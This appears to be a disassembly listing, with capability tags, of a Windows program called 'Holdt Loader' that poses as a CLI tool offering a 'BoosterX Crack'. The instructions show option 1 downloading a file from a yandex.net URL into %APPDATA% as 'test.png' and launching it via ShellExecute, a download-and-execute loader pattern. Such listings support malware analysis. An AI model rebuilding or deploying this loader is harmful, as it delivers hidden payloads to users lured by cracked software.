Function at 0x1400011c0
Capabilities:
Create process on windows
Download url
Execute command
Query environment variable
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp - 8], rax
lea rcx, str.title_Holdt_Loader__t.me_holdtfn_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rdx, str._n__________________________________________________________________________________n_______________________________________________________________n_____________________________________________________n________________________________________________________n_____________________________________________________n________________________________________________________________n__________________________________________________________________________________n__________________________________________________________________________________n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str.Version:e_34m_1.0.0_e_0m_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str.e_36m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
mov rcx, rax
lea rdx, str.A_CLI_tool_containing_useful_programs_for_your_PC_n
call fcn.140001650
mov rcx, rax
lea rdx, str.e_0m
call fcn.140001650
lea rdx, str.e_35mTelegram:_t.me_holdtfne_0m_n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str.e_33mWelcome_e_0m_n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str.UITLS:_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str._1__BoosterX_Crack_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str._2__Coming_soon...__Check_Telegram__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str._3__Coming_soon...__Check_Telegram__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str._4__Coming_soon...__Check_Telegram__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, str.Choose:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp - 0x10]
xor r15d, r15d
sub ecx, 1
je 0x140001343
sub ecx, 1
je 0x140001580
sub ecx, 1
je 0x140001580
cmp ecx, 1
je 0x140001580
lea rdx, str.You_have_selected_the_wrong_option_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
jmp 0x1400015a1
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.https:__t.me_holdtfn
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1400013a0
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1400015e2
mov qword [rbp - 0x18], 0xf
cmp rbx, 0x10
jae 0x1400013e7
mov qword [rbp - 0x20], rbx
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x30], r15b
jmp 0x14000147b
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001420
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140001a50
test rax, rax
je 0x140001574
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000145d
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000144b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400015e8
jmp 0x140001401
test rcx, rcx
je 0x14000145a
call fcn.140001a50
mov rsi, rax
jmp 0x14000145d
mov rsi, r15
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
mov r8, rbx
mov rdx, r14
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r15b
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x1400014c2
lea rax, [rcx + 9]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x30]
add rbx, rcx
mov r8d, 9
lea rdx, str._test.png
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x1400014d9
mov qword [rsp + 0x20], 9
mov edx, 9
lea rcx, [rbp - 0x30]
call fcn.140001820
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae r8, qword [rbp - 0x30]
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.https:__avatars.mds.yandex.net_i_id39a16b3f904e636f1bf63d3a5770e2a842fc0062_12145584_images_thumbsn13
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
lea rdx, str._nWait_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
test ebx, ebx
jne 0x140001542
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae r8, qword [rbp - 0x30]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140001580
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000157b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000157b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001a94
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.https:__t.me_holdtfn
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rdx, str.Press_any_key_to_exit..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001650
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001a30
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400011a0
int3
call fcn.140001100
int3